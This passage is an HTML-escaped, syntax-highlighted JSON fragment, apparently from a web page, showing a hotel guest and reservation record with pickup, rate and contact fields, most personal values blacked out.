&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_PERS_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;49 ██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_SPECIAL_MEAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_BRACELET_CONSENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;FALSE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFPERSONS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREDITALLOWED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TRUE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DAYS&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPROTECTED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_ADM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████ ██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;KITCHEN_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;AEXTIDLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXTID&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
